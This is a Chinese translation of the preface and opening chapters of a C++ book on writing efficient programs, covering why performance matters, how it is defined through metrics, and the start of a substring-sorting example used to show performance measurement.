编写高效程序的艺术-全-

编写高效程序的艺术(全)

原文:zh.annas-archive.org/md5/D1378BAD9BFB33A3CD435A706973BFFF

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

高性能编程艺术正在复苏。我开始编程的时候,程序员必须知道每一位数据的去向(有时确实如此——通过前面板上的开关)。现在,计算机已经具有足够的能力来完成日常任务。当然,总是有一些领域永远不够计算能力。但大多数程序员可以写出效率低下的代码。顺便说一句,这并不是一件坏事:摆脱了性能约束,程序员可以专注于以其他方式改进代码。

因此,这本书首先解释的是为什么越来越多的程序员被迫再次关注性能和效率。这将为整本书设定基调,因为它定义了我们在后续章节中将使用的方法论:关于性能的知识最终必须来自测量,并且每个与性能相关的声明都必须有数据支持。

有五个组成部分,五个元素共同决定了程序的性能。首先,我们深入探讨细节,探索一切性能的低级基础:我们的计算硬件(没有开关——承诺,那些日子已经过去了)。从个别组件——处理器和内存——我们逐步过渡到多处理器计算系统。在这一过程中,我们了解了内存模型、数据共享的成本,甚至无锁编程。

高性能编程的第二个组成部分是对编程语言的有效使用。在这一点上,本书变得更加具体于 C++(其他语言有它们自己的喜爱的低效性)。紧随其后的是第三个元素,即帮助编译器改进程序性能的技能。

第四个组成部分是设计。可以说,这应该是第一个:如果设计没有将性能作为明确目标之一,几乎不可能事后再添加良好的性能。然而,我们最后学习设计性能,因为这是一个高层概念,它汇集了我们之前所学到的所有知识。

高性能编程的最终第五要素是你,读者。你的知识和技能最终将决定结果。为了帮助你学习,本书包含许多示例,可用于实践探索和自学。学习在你翻过最后一页后并不需要停止。

这本书是为谁而写的?

这本书适用于有经验的开发人员和程序员,他们在性能关键项目上工作,并希望学习改进其代码性能的不同技术。属于计算机建模、算法交易、游戏、生物信息学、基于物理的模拟、计算机辅助设计、计算基因组学或计算流体动力学社区的程序员可以从本书中学习各种技术,并将其应用于他们的工作领域。

尽管本书使用 C++语言,但书中演示的概念可以轻松转移或应用于其他编译语言,如 C、C#、Java、Rust、Go 等。

这本书涵盖了什么

第一章性能和并发性简介,讨论了我们关心程序性能的原因,特别是关于为什么良好性能不是自然而然发生的原因。我们了解到,为了实现最佳性能,甚至是足够的性能,重要的是了解影响性能的不同因素以及程序特定行为的原因,无论是快速还是慢速执行。

第二章《性能测量》是关于测量的。性能通常是非直观的,所有涉及效率的决策,从设计选择到优化,都应该由可靠的数据来指导。本章描述了不同类型的性能测量,解释了它们的区别以及何时应该使用它们,并教授了如何在不同情况下正确地测量性能。

第三章《CPU 架构、资源和性能影响》帮助我们开始研究硬件以及如何有效地使用它以实现最佳性能。本章致力于学习 CPU 资源和能力,以及最佳的使用方式,未能充分利用 CPU 资源的更常见原因,以及如何解决这些问题。

第四章《内存架构和性能》帮助我们了解现代内存架构,它们固有的弱点以及对抗或至少隐藏这些弱点的方法。对于许多程序来说,性能完全取决于程序员是否利用了旨在提高内存性能的硬件功能,本章教授了必要的技能来做到这一点。

第五章《线程、内存和并发》帮助我们继续研究内存系统及其对性能的影响,但现在我们将研究扩展到多核系统和多线程程序的领域。事实证明,内存,已经是性能的“长杆”,在添加并发时会更加成为问题。虽然硬件施加的基本限制无法克服,但大多数程序甚至远未达到这些限制,熟练的程序员有很大的空间来提高他们代码的效率;本章为读者提供了必要的知识和工具来做到这一点。

第六章《并发和性能》帮助您了解开发高性能并发算法和数据结构以用于线程安全程序。一方面,为了充分利用并发,我们必须对问题和解决方案策略进行高层次的考虑:数据组织、工作分区,有时甚至解决方案的定义都会对程序的性能产生重大影响。另一方面,正如我们在上一章中所看到的,性能受到低级因素的极大影响,比如数据在缓存中的排列,甚至最佳设计也可能被糟糕的实现所破坏。

第七章《并发数据结构》解释了并发程序中数据结构的性质,以及当数据结构在多线程上下文中使用时,“栈”和“队列”等熟悉的数据结构的含义会有所不同。

第八章《C++中的并发》描述了最近在 C++17 和 C++20 标准中添加的并发编程功能。虽然现在谈论使用这些功能实现最佳性能的最佳实践还为时过早,但我们可以描述它们的功能,以及当前编译器支持的情况。

第九章《高性能 C++》将我们的注意力从硬件资源的最佳利用转移到了特定编程语言的最佳应用。虽然我们迄今为止学到的一切都可以应用于任何语言的任何程序,通常都很简单明了,但本章涉及了 C++的特性和怪癖。读者将了解 C++语言的哪些特性可能会导致性能问题,以及如何避免这些问题。本章还将涵盖非常重要的编译器优化问题,以及程序员如何帮助编译器生成更高效的代码。

第十章《C++编译器优化》涵盖了编译器优化以及程序员如何帮助编译器生成更高效的代码。

第十一章《未定义行为和性能》有双重重点。一方面,它解释了程序员在试图从其代码中挤取最大性能时经常忽视的未定义行为的危险。另一方面,它解释了我们如何利用未定义行为来提高性能,以及如何正确指定和记录这种情况。总的来说,与通常的“任何事情都可能发生”相比,本章提供了一种更为常见但更相关的理解未定义行为的方式。

第十二章《性能设计》回顾了本书中学到的所有与性能相关的因素和特性,并探讨了我们所获得的知识和理解应该如何影响我们在开发新软件系统或重新架构现有系统时所做的设计决策。

要充分利用本书

除了特定于 C++效率的章节外,本书不依赖于任何神秘的 C++知识。所有示例都是用 C++编写的,但关于硬件性能、高效数据结构和性能设计的教训适用于任何编程语言。要跟随这些示例,您至少需要具备中级的 C++知识。

每一章都提到了编译和执行示例所需的额外软件(如果有的话)。在大多数情况下,任何现代 C++编译器都可以与这些示例一起使用,除了第八章《C++并发》,它需要最新版本才能通过协程部分工作。

如果您使用的是本书的数字版本,我们建议您自己输入代码,或者从书的 GitHub 存储库中访问代码(下一节中提供了链接)。这样做将帮助您避免与复制和粘贴代码相关的任何潜在错误。

下载示例代码文件

您可以从 GitHub 上下载本书的示例代码文件,链接为github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs。如果代码有更新,将在 GitHub 存储库中进行更新。

我们还提供了来自我们丰富书籍和视频目录的其他代码包,可在github.com/PacktPublishing/上找到。快去看看吧!

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图和图表的彩色图像。您可以在这里下载:static.packt-cdn.com/downloads/9781800208117_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

文本中的代码:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:"值得注意的是一个新功能,允许可移植地确定 L1 缓存的缓存行大小,std::hardware_destructive_interference_sizestd::hardware_constructive_interference_size。"

代码块设置如下:

std::vector<double> v;
… add data to v … 
std::for_each(v.begin(), v.end(),[](double& x){ ++x; });

任何命令行输入或输出都是这样写的:

Main thread: 140003570591552
Coroutine started on thread: 140003570591552
Main thread done: 140003570591552
Coroutine resumed on thread: 140003570587392
Coroutine done on thread: 140003570587392

粗体:表示一个新术语、一个重要词或者屏幕上看到的词。例如,菜单或对话框中的词以粗体显示。例如:"当CPU1看到由CPU0执行的带释放内存顺序的原子写操作的结果时,可以保证CPU1看到的内存状态已经反映了在这个原子操作之前由CPU0执行的所有操作。"

提示或重要说明

像这样出现。

第一部分:性能基础

在本节中,您将学习关于研究程序性能的方法论,该方法论基于测量、基准测试和分析。您还将学习确定每个计算系统性能的主要硬件组件:处理器、内存及它们的交互。

本节包括以下章节:

  • 第一章,性能和并发简介

  • 第二章,性能测量

  • 第三章,CPU 架构、资源和性能影响

  • 第四章,内存架构和性能

  • 第五章,线程、内存和并发

第一章:性能和并发简介

动机是学习的关键因素;因此,您必须了解为什么在计算机技术取得了所有进步的情况下,程序员仍然必须努力使其代码获得足够的性能,以及成功需要深刻理解计算硬件、编程语言和编译器能力。本章的目的是解释为什么今天仍然需要这种理解。

本章讨论了我们关心程序性能的原因,特别是关于良好性能并非“自然而然”发生的原因。我们将了解为什么为了实现最佳性能,有时甚至是足够的性能,重要的是要了解影响性能的不同因素,以及程序特定行为的原因,无论是快速执行还是缓慢执行。

在本章中,我们将涵盖以下主要主题:

  • 性能为什么重要

  • 为什么性能需要程序员的注意?

  • 性能是什么意思?

  • 如何评估性能

  • 学习高性能

为什么要关注性能?

在计算机早期,编程是困难的。处理器速度慢,内存有限,编译器原始,没有付出重大努力就无法取得任何成就。程序员必须了解 CPU 的架构,内存的布局,当编译器无法胜任时,关键代码必须用汇编语言编写。

然后情况变得好转。处理器每年都在变得更快,曾经是巨大硬盘容量的数字变成了普通 PC 主存储器的大小,编译器编写者学会了一些技巧来加快程序速度。程序员可以花更多时间解决问题。这反映在编程语言和设计风格上:在更高级的语言和不断发展的设计和编程实践之间,程序员的关注重点从代码中想要表达的内容转移到了如何表达这些内容。

以前的常识,比如 CPU 有多少寄存器以及它们的名称是什么,变得神秘而深奥。曾经,“大型代码库”是指需要用双手才能搬动的卡片组;现在,“大型代码库”是指超出版本控制系统容量的代码库。以前几乎不需要为特定处理器或内存系统编写专门的代码,可移植代码成为了常态。

至于汇编语言,实际上很难超越编译器生成的代码,这对大多数程序员来说是难以企及的任务。对于许多应用程序及其编写者来说,已经有了“足够的性能”,程序员职业的其他方面变得更加重要(明确地说,程序员可以专注于代码的可读性,而不必担心添加一个有意义名称的函数是否会使程序变得无法接受地慢)。

然后,突然间,“性能自行解决”的免费午餐结束了。看似不可阻挡的计算能力不断增长的进展突然停止了。

图 1.1 - 绘制 35 年微处理器演变历程(参见 https://github.com/karlrupp/microprocessor-trend-data 和 https://github.com/karlrupp/microprocessor-trend-data/raw/master/LICENSE.txt)

图 1.1 - 绘制 35 年微处理器演变历程(参见 https://github.com/karlrupp/microprocessor-trend-datahttps://github.com/karlrupp/microprocessor-trend-data/raw/master/LICENSE.txt)

大约在 2005 年左右,单个 CPU 的计算能力达到了饱和。在很大程度上,这与 CPU 频率直接相关,而 CPU 频率也停止增长。而频率受到多种因素的限制,其中之一是功耗(如果频率趋势保持不变,今天的 CPU 每平方毫米的功率将比将火箭送入太空的大型喷气发动机还要高)。

从前面的图表可以明显看出,不是所有的进展措施在 2005 年停滞不前:单芯片上的晶体管数量不断增加。那么,如果不是让芯片变得更快,他们在做什么呢?答案是双重的,其中一部分由底部曲线揭示:设计师不是让单个处理器变得更大,而是不得不将多个处理器核心放在同一块芯片上。当然,所有这些核心的计算能力随着核心数量的增加而增加,但前提是程序员知道如何使用它们。"伟大的晶体管之谜"的第二部分(所有的晶体管都去哪了?)是它们进入了处理器能力的各种非常先进的增强功能,这些增强功能可以用来提高性能,但同样,只有程序员努力利用它们。

我们刚刚看到的处理器进展的变化通常被认为是并发编程进入主流的原因。但这种变化甚至更加深刻。在本书中,您将了解到,为了获得最佳性能,程序员再次需要了解处理器和内存架构及其相互作用的复杂性。出色的性能不再是“自然而然”发生的。与此同时,我们在编写清晰表达需要完成的任务而不是如何完成的代码方面取得的进展不应该被撤销。我们仍然希望编写可读性强、易于维护的代码,而且(而且不是但是)我们也希望它高效。

可以肯定的是,对于许多应用程序来说,现代 CPU 仍然具有足够的性能,但性能比以前更受关注,这在很大程度上是因为我们刚刚讨论的 CPU 发展的变化,以及因为我们希望在更多的应用程序中进行更多的计算,这些应用程序并不一定能够获得最佳的计算资源(例如,今天的便携式医疗设备可能会内置完整的神经网络)。

幸运的是,我们不必通过在黑暗的存储室里翻阅腐烂的穿孔卡片堆来重新发现一些失落的性能艺术。任何时候,仍然存在着困难的问题,短语计算能力永远不够对许多程序员来说是真实的。随着计算能力的指数增长,对它的需求也在增加。极限性能的艺术在那些需要它的领域中得以保持。在这一点上,一个这样的领域的例子可能是有启发性和有启发性的。

为什么性能很重要

要找到一个关于性能关注从未真正减弱的领域的例子,让我们来研究使计算本身成为可能的计算的演变,即用于设计计算机本身的电子设计自动化EDA)工具。

如果我们将 2010 年用于设计、模拟或验证特定微芯片的计算,并自那时起每年运行相同的工作负载,我们会看到类似于这样的情况:

图 1.2 - 某个 EDA 计算的处理时间(以小时为单位),随着年份的变化

图 1.2 - 某个 EDA 计算的处理时间(以小时为单位),随着年份的变化

2010 年需要 80 小时计算的工作,在 2018 年只需要不到 10 小时(甚至今天更少)。这种改进是从哪里来的?有几个来源:部分是计算机变得更快,但也有软件变得更有效率,发明了更好的算法,优化编译器变得更加有效。

不幸的是,我们在 2021 年并没有制造 2010 年版本的微芯片:可以说,随着计算机变得更加强大,制造更新和更好的微芯片变得更加困难。因此,更有趣的问题是,每年制造当年的新微芯片需要多长时间来完成相同的工作:

图 1.3 - 每年最新微芯片特定设计步骤的运行时间(以小时为单位)

图 1.3 - 每年最新微芯片的特定设计步骤的运行时间(以小时为单位)

每年实际完成的计算并不相同,但它们都为同一个目的服务,例如验证芯片是否按预期运行,对于我们每年制造的最新和最好的芯片。从这张图表中我们可以看到,当前一代最强大的处理器,运行最好的可用工具,每年都需要大致相同的时间来设计和建模下一代处理器。我们保持着自己的位置,但并没有取得任何进展。

但事实甚至比这更糟,上面的图表并没有显示一切。从 2010 年到 2018 年,当年制造的最大处理器可以在一夜之间(大约 12 小时)得到验证,使用的是去年制造的最大处理器的计算机。但我们忘了问有多少这样的处理器?好吧,现在是完整的真相:

图 1.4 - 前一图表,标注了每次计算的 CPU 数量

图 1.4 - 前一图表,标注了每次计算的 CPU 数量

每年,配备着不断增长数量的最新、最强大处理器的最强大计算机,运行着最新的软件版本(经过优化以利用越来越多的处理器并更有效地使用每一个处理器),完成了建造下一年最强大计算机所需的工作,而每年,这项任务都处于几乎不可能的边缘。我们没有掉下这个边缘,这在很大程度上是硬件和软件工程师的成就,前者提供了不断增长的计算能力,后者以最大效率使用它。本书将帮助您学习后者的技能。

我们现在理解了本书的主题的重要性。在我们深入细节之前,进行高层次的概述会有所帮助;可以说是对勘探活动将展开的领域的地图的审查。

性能是什么?

我们已经谈论了程序的性能;我们提到了高性能软件。但是当我们说这个词时,我们是什么意思呢?直观地,我们理解高性能程序比性能差的程序更快,但这并不意味着更快的程序总是具有的性能(两个程序可能都性能差)。

我们也提到了高效的程序,但效率和高性能是一回事吗?虽然效率与性能相关,但并不完全相同。效率涉及最佳地使用资源而不浪费它们。高效的程序充分利用计算硬件。

一方面,高效的程序不会让可用资源空闲:如果有一个需要完成的计算和一个空闲的处理器,那么该处理器应该执行等待执行的代码。这个想法更深入:处理器内部有许多计算资源,高效的程序试图尽可能同时利用这些资源。另一方面,高效的程序不会浪费资源做不必要的工作:它不会执行不需要完成的计算,不会浪费内存来存储永远不会被使用的数据,不会发送不需要的数据到网络等等。简而言之,高效的程序不会让可用的硬件空闲,也不会做任何不必要的工作。

另一方面,性能总是与某些指标相关。最常见的是“速度”,或者程序有多快。更严格定义这个指标的方式是吞吐量,即程序在给定时间内执行的计算量。通常用于相同目的的反向指标是周转时间,或者计算特定结果需要多长时间。然而,这并不是性能的唯一可能定义。

作为吞吐量的性能

让我们考虑四个使用不同实现来计算相同结果的程序。这是所有四个程序的运行时间(单位是相对的;实际数字并不重要,因为我们关心的是相对性能):

图 1.5 - 相同算法的四种不同实现的运行时间(相对单位)

图 1.5 - 相同算法的四种不同实现的运行时间(相对单位)

显然,程序 B 具有最高的性能:它在其他三个程序之前完成了,用了一半的时间来计算与最慢程序相同的结果。在许多情况下,这将是我们选择最佳实现所需的所有数据。

但问题的上下文很重要,我们忽略了该程序是在手机等电池供电设备上运行,功耗也很重要。

性能作为功耗

这是四个程序在计算过程中消耗的功率:

图 1.6 - 相同算法的四种不同实现的功耗(相对单位)

图 1.6 - 相同算法的四种不同实现的功耗(相对单位)

尽管花费更长时间来获得结果,程序 C 总体上消耗的功率更少。那么,哪个程序性能最好呢?

同样,这是一个诡计问题,如果不知道完整的上下文。该程序不仅在移动设备上运行,而且执行实时计算:它用于音频处理。这应该更注重实时更快地获得结果,对吗?并不完全是这样。

实时应用的性能

实时程序必须始终跟上它正在处理的事件。音频处理器必须特别跟上语音。如果程序可以比人说话的速度快十倍处理音频,那对我们毫无用处,我们可能还不如把注意力转向功耗。

另一方面,如果程序偶尔落后,一些声音甚至单词将被丢弃。这表明实时或速度在一定程度上很重要,但必须以可预测的方式交付。

当然,这也有一个性能指标:延迟尾部。延迟是在我们的情况下数据准备好(录音)和处理完成之间的延迟。我们之前看到的吞吐量指标反映了处理声音的平均时间:如果我们在手机上说话一个小时,音频处理器需要多长时间来完成所有需要做的计算?但在这种情况下真正重要的是,每个声音的每个小计算都按时完成。

在低级别上,计算速度会波动:有时计算会更快完成,有时会花费更长时间。只要平均速度可接受,重要的是罕见的长时间延迟。

延迟尾部指标是计算作为延迟的特定百分位数的,例如,在 95th 百分位数:如果t是 95th 百分位数的延迟,那么 95%的所有计算所花费的时间都比t少。指标本身是 95th 百分位时间t与平均计算时间t0 的比率(通常也以百分比表示,因此 95th 百分位数的 30%延迟意味着tt0 大 30%):

图 1.7 - 相同算法的四种不同实现的 95%延迟(百分比)

图 1.7 - 相同算法的四种不同实现的 95%延迟(百分比)

我们现在看到,程序 B比任何其他实现平均计算结果更快,但也提供了最不可预测的运行时间结果,而程序 D以前从未突出,却像钟表一样计算,并且每次执行给定的计算几乎需要相同的时间。正如我们已经观察到的,程序 D 还具有最糟糕的功耗。不幸的是,这并不罕见,因为使程序在平均情况下更节能的技术通常具有概率性质:它们大多数时候加快计算速度,但并非每次都是如此。

那么,哪个程序最好?当然,答案取决于应用,甚至在这种情况下可能并不明显。

性能取决于上下文

如果这是在大型数据中心运行并需要数天来计算的仿真软件,吞吐量将是关键。在电池供电设备上,功耗通常是最重要的。在更复杂的环境中,比如我们的实时音频处理器,它是多个因素的组合。平均运行时间当然很重要,但只有在变得“足够快”之前才重要。如果听众察觉不到延迟,那么使其更快也没有奖励。延迟尾部很重要:用户讨厌每隔一段时间会有一个词从对话中丢失。一旦延迟足够好,通话质量受到其他因素的限制,进一步改善将带来很少的好处;在这一点上,我们最好节约功耗。

我们现在明白,与效率不同,性能总是针对特定的度量标准定义的,这些度量标准取决于我们正在解决的应用和问题,对于某些度量标准来说,存在“足够好”的概念,当其他度量标准成为前景时。效率,反映了计算资源的利用,是实现良好性能的方式之一,也许是最常见的方式,但不是唯一的方式。

评估、估计和预测性能

正如我们刚刚看到的,度量的概念对性能概念至关重要。有了度量,总是隐含着测量的可能性和必要性:如果我们说“我们有一个度量”,那就意味着我们有一种量化和测量某事的方法,而了解度量的值的唯一方法就是测量它。

测量性能的重要性不言而喻。人们常说,性能的第一定律是永远不要猜测性能。本书的下一章专门讨论性能测量、测量工具、如何使用它们以及如何解释结果。

不幸的是,对性能的猜测太过普遍。像“避免在 C++中使用虚函数,它们很慢”这样过于笼统的陈述也是如此。这类陈述的问题不在于它们不精确,即它们没有提及虚函数相对于非虚函数慢多少的度量标准。作为读者的练习,这里有几个可供选择的量化答案:

  • 虚函数慢 100%

  • 虚函数大约慢 15-20%

  • 虚函数几乎没有慢

  • 虚函数快 10-20%

  • 虚函数慢 100 倍

哪个答案是正确的?如果您选择了其中任何一个答案,恭喜您:您选择了正确答案。没错,每个答案在特定情况和特定上下文中都是正确的(要了解原因,您将不得不等到第九章高性能 C++)。

不幸的是,通过接受几乎不可能直觉或猜测性能的真相,我们面临着另一个陷阱:将其作为写出效率低下的代码的借口“以后进行优化”的借口,因为我们不猜测性能。虽然这是真的,但后一种最大化可能会走得太远,就像流行的格言不要过早优化一样。

性能不能后期添加到程序中,因此在初始设计和开发过程中不应该被忽视。性能考虑和目标在设计阶段有其位置,就像其他设计目标一样。早期与性能相关的目标与永远不要猜测性能之间存在明显的紧张关系。我们必须找到正确的折衷方案,描述我们在设计阶段真正想要实现的关于性能的目标的一个好方法是:虽然几乎不可能预测最佳的优化,但可以确定会使后续优化非常困难甚至不可行的设计决策。

同样的情况也适用于程序开发过程中:在优化一个每天只调用一次且只需要一秒钟的函数上花费很长时间是愚蠢的。另一方面,最好一开始就将这段代码封装成一个函数,这样如果程序发展时使用模式发生变化,它可以在不重写程序的情况下进行优化。

描述“不要过早优化”的规则的限制的另一种方法是通过说“是的,但也不要故意使性能变差”。识别两者之间的区别需要对良好设计实践的了解,以及对高性能编程的不同方面的理解。

那么,作为开发人员/程序员,为了精通开发高性能应用程序,您需要学习和了解什么?在下一节中,我们将从一个简略的目标列表开始,然后详细讨论每个目标。

学习高性能

什么使程序高性能?我们可以说“效率”,但首先,这并不总是正确的(尽管通常是),其次,这只是在回避问题,因为下一个明显的问题是,好吧,什么使程序高效?我们需要学习什么才能编写高效或高性能的程序?让我们列出所需的技能和知识:

  • 选择正确的算法

  • 有效地利用 CPU 资源

  • 有效地使用内存

  • 避免不必要的计算

  • 有效地使用并发和多线程

  • 有效地使用编程语言,避免低效率

  • 衡量性能和解释结果

实现高性能最重要的因素是选择一个好的算法。不能通过优化实现来“修复”一个糟糕的算法。然而,这也是本书范围之外的因素。算法是特定于问题的,这不是一本关于算法的书。您将不得不进行自己的研究,以找到最适合您所面临问题的最佳算法。

另一方面,实现高性能的方法和技术在很大程度上与问题无关。当然,它们确实取决于性能指标:例如,实时系统的优化是一个具有许多特殊问题的高度特定领域。在本书中,我们主要关注高性能计算意义上的性能指标:尽快进行大量计算。

为了在这个探索中取得成功,我们必须尽可能多地利用可用的计算硬件。这个目标有一个空间和时间的组成部分:在空间方面,我们谈论的是利用处理器中如此庞大数量的晶体管。处理器变得更大,如果不是更快。额外的区域用于什么?可能是增加了一些新的计算能力,我们可以利用。在时间方面,我们的意思是我们应该尽可能多地利用每个时间的硬件。无论如何,如果计算资源处于空闲状态,对我们来说是没有用的,所以目标是避免这种情况。与此同时,繁重的工作并不划算,我们希望避免做任何我们绝对不需要做的事情。这并不像听起来那么明显;你的程序可能以很多微妙的方式进行计算,而这些计算是你不需要的。

在这本书中,我们将从单个处理器开始,学会高效地利用其计算资源。然后,我们将扩大视野,不仅包括处理器,还包括其内存。然后,自然地,我们将研究如何同时使用多个处理器。

但是,高性能程序的必要品质之一是高效地使用硬件:高效地完成本来可以避免的工作对我们没有好处。不创造不必要的工作的关键是有效地使用编程语言,对我们来说是 C++(我们学到的大部分关于硬件的知识都可以应用到任何语言,但一些语言优化技术非常特定于 C++)。此外,编译器位于我们编写的语言和我们使用的硬件之间,因此我们必须学会如何使用编译器来生成最有效的代码。

最后,衡量我们刚才列出的任何目标的成功程度的唯一方法是对其进行测量:我们使用了多少 CPU 资源?我们花了多少时间等待内存?增加另一个线程带来了多少性能提升?等等。获得良好的定量性能数据并不容易;这需要对测量工具有深入的了解。解释结果通常更加困难。

你可以从这本书中学到这些技能。我们将学习硬件架构,以及一些编程语言特性背后的隐藏内容,以及如何像编译器一样看待我们的代码。这些技能很重要,但更重要的是理解为什么事情会以这样的方式运作。计算硬件经常发生变化,语言不断发展,编译器的新优化算法也在不断发明。因此,任何这些领域的具体知识都有相当短的保质期。然而,如果你不仅理解了使用特定处理器或编译器的最佳方法,还理解了我们得出这些知识的方式,你将能够很好地准备重复这个发现过程,因此继续学习。

总结

在这个介绍性的章节中,我们讨论了为什么尽管现代计算机的原始计算能力迅速增长,但对软件性能和效率的兴趣却在上升。具体来说,我们了解了为什么为了理解限制性能的因素以及如何克服它们,我们需要回到计算的基本元素,并了解计算机和程序在低级别上的工作方式:理解硬件并高效地使用它,理解并发性,理解 C++语言特性和编译器优化,以及它们对性能的影响。

这种低级知识必然非常详细和具体,但我们有一个处理这个问题的计划:当我们学习处理器或编译器的具体事实时,我们也会学习到我们得出这些结论的过程。因此,从最深层次来看,这本书是关于学习如何学习的。

我们进一步了解到,如果不定义衡量绩效的指标,绩效的概念就毫无意义。对特定指标评估绩效的需要意味着任何绩效工作都是由数据和测量驱动的。事实上,下一章将专门讨论绩效的测量。

问题

  1. 尽管处理能力有所提高,为什么程序绩效仍然重要?

  2. 为什么理解软件绩效需要对计算硬件和编程语言有低层次的了解?

  3. 绩效和效率之间有什么区别?

  4. 为什么绩效必须根据特定指标来定义?

  5. 我们如何判断特定指标的绩效目标是否已经实现?

第二章:性能测量

无论是编写新的高性能程序还是优化现有程序,您面临的第一个任务之一将是定义代码在当前状态下的性能。您的成功将取决于您能够提高其性能的程度。这两种陈述都意味着性能指标的存在,即可以进行测量和量化的东西。上一章最有趣的结果之一是发现甚至没有一个适用于所有需求的性能定义:在您想要量化性能时,您所测量的内容取决于您正在处理的问题的性质。

但测量远不止于简单地定义目标和确认成功。您性能优化的每一步,无论是现有代码还是您刚刚编写的新代码,都应该受到测量的指导和启发。

性能的第一条规则是永远不要猜测性能,并且值得在本章的第一部分致力于说服您牢记这条规则,不容置疑。在摧毁您对直觉的信任之后,我们必须给您提供其他东西来依靠:用于测量和了解性能的工具和方法。

在本章中,我们将涵盖以下主要主题:

  • 为什么性能测量是必不可少的

  • 为什么所有与性能相关的决策都必须由测量和数据驱动

  • 如何测量真实程序的性能

  • 什么是程序的基准测试、分析和微基准测试,以及如何使用它们来测量性能

技术要求

首先,您将需要一个 C++编译器。本章中的所有示例都是在 Linux 系统上使用 GCC 或 Clang 编译器编译的。所有主要的 Linux 发行版都将 GCC 作为常规安装的一部分;更新版本可能可以在发行版的存储库中找到。Clang 编译器可以通过 LLVM 项目llvm.org/获得,尽管一些 Linux 发行版也维护自己的存储库。在 Windows 上,Microsoft Visual Studio 是最常见的编译器,但 GCC 和 Clang 也可用。

其次,您将需要一个程序分析工具。在本章中,我们将使用 Linux 的"perf"分析器。同样,它已经安装(或可供安装)在大多数 Linux 发行版上。文档可以在perf.wiki.kernel.org/index.php/Main_Page找到。

我们还将演示另一个分析器的使用,即来自 Google 性能工具集(GperfTools)的 CPU 分析器,可以在github.com/gperftools/gperftools找到(同样,您的 Linux 发行版可能可以通过其存储库进行安装)。

还有许多其他可用的性能分析工具,包括免费和商业工具。它们都基本上提供相同的信息,但以不同的方式呈现,并具有许多不同的分析选项。通过本章的示例,您可以了解性能分析工具的预期和可能的限制;您使用的每个工具的具体情况都需要自己掌握。

最后,我们将使用一个微基准测试工具。在本章中,我们使用了在github.com/google/benchmark找到的 Google Benchmark 库。您很可能需要自己下载和安装它:即使它已经与您的 Linux 发行版一起安装,也可能已经过时。请按照网页上的安装说明进行操作。

安装了所有必要的工具后,我们准备进行我们的第一个性能测量实验。

本章的代码可以在此处找到:github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter02

通过示例进行性能测量

在本章的其余部分,我们将有时间更详细地了解每个性能分析工具,但在本节中,我们将进行一个快速的端到端示例,并分析一个简单程序的性能。这将向您展示典型的性能分析流程是什么样子,以及如何使用不同的工具。

还有一个隐藏的目的:在本节结束时,您将相信您不应该猜测性能。

您可能需要分析和优化的任何真实程序可能足够大,以至于在本书中需要很多页,因此我们将使用一个简化的例子。这个程序对一个非常长的字符串中的子字符串进行排序:假设我们有一个字符串S,比如"abcdcba"(这并不算很长;我们实际的字符串将有数百万个字符)。我们可以从这个字符串的任何字符开始得到一个子字符串,例如,子字符串S0从偏移 0 开始,因此其值为"abcdcba"。子字符串S2从偏移 2 开始,其值为"cdcba",而子字符串S5的值为"ba"。如果我们使用常规的字符串比较对这些子字符串按降序排序,子字符串的顺序将是S2,然后是S5,最后是S0(按照第一个字符'c''b''a'的顺序)。

我们可以使用 STL 排序算法std::sort对子字符串进行排序,如果我们用字符指针表示它们:现在交换两个子字符串只涉及交换指针,而基础字符串保持不变。以下是我们的示例程序:

bool compare(const char* s1, const char* s2, unsigned int l);
int main() {
  constexpr unsigned int L = …, N = …;
  unique_ptr<char[]> s(new char[L]);
  vector<const char*> vs(N);
    … prepare the string … 
  size_t count = 0;
  system_clock::time_point t1 = system_clock::now();
  std::sort(vs.begin(), vs.end(), 
     & {
        ++count;
        return compare(a, b, L);
     });
  system_clock::time_point t2 = system_clock::now();
  cout << "Sort time: " << 
     duration_cast<milliseconds>(t2 - t1).count() << 
     "ms (" << count << " comparisons)" << endl;
}

请注意,为了使此示例编译,我们需要包含适当的头文件,并为我们缩短的名称编写using声明。

#include <algorithm>
#include <chrono>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <memory>
#include <random>
#include <vector>
using std::chrono::duration_cast;
using std::chrono::milliseconds;
using std::chrono::system_clock;
using std::cout;
using std::endl;
using std::minstd_rand;
using std::unique_ptr;
using std::vector;

在随后的示例中,我们将省略常见的头文件和对常见名称(如coutvector)的using声明。

该示例定义了一个字符串,用作要排序的子字符串的基础数据,以及子字符串的向量(字符指针),但我们还没有展示数据本身是如何创建的。然后,使用带有自定义比较函数的std::sort对子字符串进行排序:一个 lambda 表达式调用比较函数本身compare()。我们使用 lambda 表达式来适应compare()函数的接口,该函数接受两个指针和最大字符串长度,以符合std::sort期望的接口(只有两个指针)。这被称为适配器模式。

在我们的例子中,lambda 表达式有第二个作用:除了调用比较函数外,它还计算比较调用的次数。由于我们对排序的性能感兴趣,如果我们想比较不同的排序算法,这些信息可能会有用(我们现在不打算这样做,但这是一种技术,您可能会在自己的性能优化工作中发现有用)。

在这个例子中,比较函数本身只是声明了,但没有定义。它的定义在一个单独的文件中,内容如下:

bool compare(const char* s1, const char* s2, unsigned int l) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
     if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}

这是两个字符串的直接比较:如果第一个字符串大于第二个字符串,则返回 true,否则返回 false。我们可以很容易地在与代码本身相同的文件中定义函数,并避免额外文件的需要,但即使在这个小例子中,我们也试图复制一个可能调用许多函数的真实程序的行为,这些函数分散在许多不同的文件中。因此,我们将比较函数放在自己的文件中,在本章中我们称之为compare.C,而示例的其余部分在一个文件中,名为example.C

最后,我们使用chrono库中的 C++高分辨率计时器来测量排序子字符串所需的时间。

我们示例中唯一缺少的是字符串的实际数据。子字符串排序在许多实际应用程序中是一个相当常见的任务,每个应用程序都有自己获取数据的方式。在我们的人工示例中,数据将不得不同样人工。例如,我们可以生成一个随机字符串。另一方面,在许多实际应用程序中,子字符串排序中有一个字符出现的频率比其他任何字符都要高。

我们也可以模拟这种类型的数据,方法是用一个字符填充字符串,然后随机更改其中的一些字符:

